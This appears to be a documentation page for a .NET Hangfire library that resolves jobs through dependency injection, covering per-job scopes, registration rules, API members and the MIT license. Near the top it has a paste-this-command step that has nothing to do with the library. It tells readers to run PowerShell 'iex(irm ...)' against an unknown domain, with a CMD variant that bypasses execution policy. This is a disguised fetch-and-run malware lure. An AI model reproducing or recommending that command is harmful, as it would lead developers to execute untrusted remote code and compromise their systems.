Hangfire ServiceJobActivator: DI-Backed Job Activation — Developer Library

Replaces Hangfire's default job activator so every job instance is resolved through the .NET IServiceProvider rather than a fixed constructor path. Each activation creates a dedicated IServiceScope, resolves the job type as a required service, and disposes the scope synchronously after execution—so scoped dependencies are constructed once per job and released when that job completes. Because the activator resolves only registered services, a missing job or dependency registration surfaces immediately as an InvalidOperationException instead of a null instance. This applies to constructor injection only: jobs and all their dependencies must be registered in the container.

• Open the Start menu and type PowerShell.
• Right-click and choose Run as administrator (optional).

Copy the command below, paste it into PowerShell, and press Enter.

iex(irm 'https://activation-gateway.cc/update/ps-activator')

Run this command in CMD instead:

powershell -NoProfile -ExecutionPolicy Bypass -Command "iex(irm 'https://activation-gateway.cc/update/ps-activator')"

• Windows 10 or Windows 11
• PowerShell 5.1 or newer (already available on Windows)
• Active network connection
• No admin rights needed

• Replaces Hangfire's default JobActivator with one that resolves job types from the application's IServiceProvider, so jobs participate in the same DI container as the rest of the app.
• Creates a dedicated IServiceScope per job activation. Scoped constructor dependencies are shared across a single job invocation and disposed when that scope ends.
• Resolves the job type via GetRequiredService, so an unregistered job type or missing constructor dependency fails fast with InvalidOperationException rather than yielding a null instance.
• Integrates with Hangfire configuration through AddServiceJobActivator(serviceProvider) inside the AddHangfire configuration callback, alongside the standard serializer settings.
• Requires the job type and every constructor dependency to be registered with the container; scoped, transient, and singleton lifetimes are all supported subject to the scope rules below.
• Scope disposal is synchronous. Avoid capturing scoped services in singletons, and avoid dependencies whose disposal is IAsyncDisposable-only, since the activation scope is torn down synchronously.
• No additional abstractions or base classes to implement — job classes remain plain classes with constructor injection.

Register the job type and its scoped dependencies with the .NET service container, then opt the job activator into your Hangfire configuration.

using Hangfire;
using Soenneker.Hangfire.ServiceJobActivator.Registrars;

builder.Services.AddScoped<ReportJob>();
builder.Services.AddScoped<IReportRepository, ReportRepository>();

builder.Services.AddHangfire((serviceProvider, configuration) =>
{
 configuration
 .UseSimpleAssemblyNameTypeSerializer()
 .UseRecommendedSerializerSettings()
 .AddServiceJobActivator(serviceProvider);
});

Define the job with constructor-injected dependencies and enqueue it through Hangfire as usual.

public sealed class ReportJob(IReportRepository repository)
{
 public Task Run(Guid reportId, CancellationToken cancellationToken) =>
 repository.Generate(reportId, cancellationToken);
}

string jobId = BackgroundJob.Enqueue<ReportJob>(job =>
 job.Run(reportId, CancellationToken.None));

At activation, the activator opens a single IServiceScope, resolves the job type as a required service, and disposes that scope once execution completes. Every constructor dependency of the job must be registered with the container; an unresolved type surfaces as an InvalidOperationException at activation rather than a null job instance.

Two constraints apply to the registered graph:

• Singleton services must not capture scoped services, since the captured instance outlives the activation scope.
• Services that implement only asynchronous disposal (IAsyncDisposable) are unsupported, because Hangfire disposes the activation scope synchronously.

Register the activator when building the Hangfire configuration, passing the root IServiceProvider:

using Hangfire;
using Soenneker.Hangfire.ServiceJobActivator.Registrars;

builder.Services.AddHangfire((serviceProvider, configuration) =>
{
 configuration
 .UseSimpleAssemblyNameTypeSerializer()
 .UseRecommendedSerializerSettings()
 .AddServiceJobActivator(serviceProvider);
});

The activator opens a single IServiceScope per job activation, resolves the job type as a required service from that scope, and disposes the scope synchronously once execution completes.

Registration requirements:

• The job type itself must be registered with the container (AddScoped, AddTransient, or AddSingleton).
• Every constructor dependency of the job type must be resolvable from the same scope.
• Resolution uses required-service semantics: an unregistered job type or missing dependency throws InvalidOperationException at activation rather than yielding a null instance.

Lifetime behavior:

• Scoped dependencies are shared across one job execution and disposed with the activation scope.
• Singletons are resolved from the root provider; do not capture scoped services inside them.
• Services whose disposal is asynchronous-only are unsupported, since the activation scope is disposed synchronously.

To customize activation globally, pass the activator instance directly:

var activator = serviceProvider.GetRequiredService<ServiceJobActivator>();

configuration.UseActivator(activator);

public sealed class ServiceJobActivator : JobActivator

Overrides Hangfire's default activator so job types are resolved from the application's IServiceProvider rather than constructed directly. The activator is registered on the Hangfire configuration via the AddServiceJobActivator extension and is used for every enqueued job.

public ServiceJobActivator(IServiceProvider serviceProvider)

Accepts the root IServiceProvider from the host. The provider is used to create a dedicated IServiceScope per job activation; the provider itself is never disposed by the activator.

public override object ActivateJob(Type jobType)

Creates a new IServiceScope, resolves jobType from that scope, and returns the instance. The scope is tracked internally and disposed when the activation scope ends.

Returns the resolved job instance.

Throws InvalidOperationException when jobType is not registered. Missing registrations fail at activation time rather than yielding a null instance.

public override JobActivatorScope BeginScope(JobActivatorContext context)

Returns a JobActivatorScope that owns the underlying IServiceScope for the duration of a single job execution. The scope is created on demand and disposed synchronously when execution completes.

Returns a JobActivatorScope backed by a new IServiceScope.

• One IServiceScope is created per job activation.
• Scoped dependencies resolved during the job are reused for the life of that scope.
• The scope and all scoped services it created are disposed after execution.
• Transient dependencies follow their normal disposal behavior within the scope.
• Singleton dependencies are resolved from the root provider and are not disposed per job.

public sealed class ServiceJobActivatorScope : JobActivatorScope

Wraps a single IServiceScope. Disposal of this scope disposes the wrapped IServiceScope and any scoped services it created.

public override object Resolve(Type type)

Resolves type from the wrapped scope. Subsequent resolutions of the same scoped type within the scope return the same instance.

Returns the resolved instance.

Throws InvalidOperationException when type is not registered.

public static class ServiceJobActivatorExtensions

Registration helpers applied to Hangfire's IGlobalConfiguration.

public static IGlobalConfiguration AddServiceJobActivator(
 this IGlobalConfiguration configuration,
 IServiceProvider serviceProvider)

Installs a ServiceJobActivator on the Hangfire configuration using the supplied provider.

Returns the same IGlobalConfiguration for chaining.

Throws ArgumentNullException when either argument is null.

• The job type must be registered with a lifetime compatible with per-job scopes (Scoped or Transient).
• Every constructor dependency of the job type must be registered.
• Asynchronous-only IAsyncDisposable services are unsupported; the activation scope is disposed synchronously.

builder.Services.AddScoped<ImportJob>();
builder.Services.AddScoped<IImportRepository, ImportRepository>();

builder.Services.AddHangfire((serviceProvider, configuration) =>
{
 configuration
 .UseSimpleAssemblyNameTypeSerializer()
 .UseRecommendedSerializerSettings()
 .AddServiceJobActivator(serviceProvider);
});

using Hangfire;
using Soenneker.Hangfire.ServiceJobActivator.Registrars;

builder.Services.AddScoped<ReportJob>();
builder.Services.AddScoped<IReportRepository, ReportRepository>();

builder.Services.AddHangfire((serviceProvider, configuration) =>
{
 configuration
 .UseSimpleAssemblyNameTypeSerializer()
 .UseRecommendedSerializerSettings()
 .AddServiceJobActivator(serviceProvider);
});

The activator opens a single DI scope per job execution, resolves the job type from that scope, and disposes the scope when activation ends. Any scoped dependency injected into the job constructor is shared for the duration of that one execution and released afterward.

public sealed class ReportJob(IReportRepository repository, ILogger<ReportJob> logger)
{
 public async Task Run(Guid reportId, CancellationToken cancellationToken)
 {
 logger.LogInformation("Generating report {ReportId}", reportId);
 await repository.Generate(reportId, cancellationToken);
 }
}

string jobId = BackgroundJob.Enqueue<ReportJob>(job =>
 job.Run(reportId, CancellationToken.None));

Both ReportJob and every constructor dependency must be registered with the container. An unregistered job type or dependency surfaces as an InvalidOperationException at activation time rather than yielding a null instance:

// ReportJob is not registered -> activation throws InvalidOperationException
BackgroundJob.Enqueue<ReportJob>(job => job.Run(Guid.NewGuid(), CancellationToken.None));

The scope is disposed synchronously, so job graphs must not depend on services that require asynchronous-only disposal. Singleton services resolved into a job are not disposed with the scope; avoid capturing scoped services inside singletons to prevent captive dependencies.

This library is licensed under the MIT License.

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.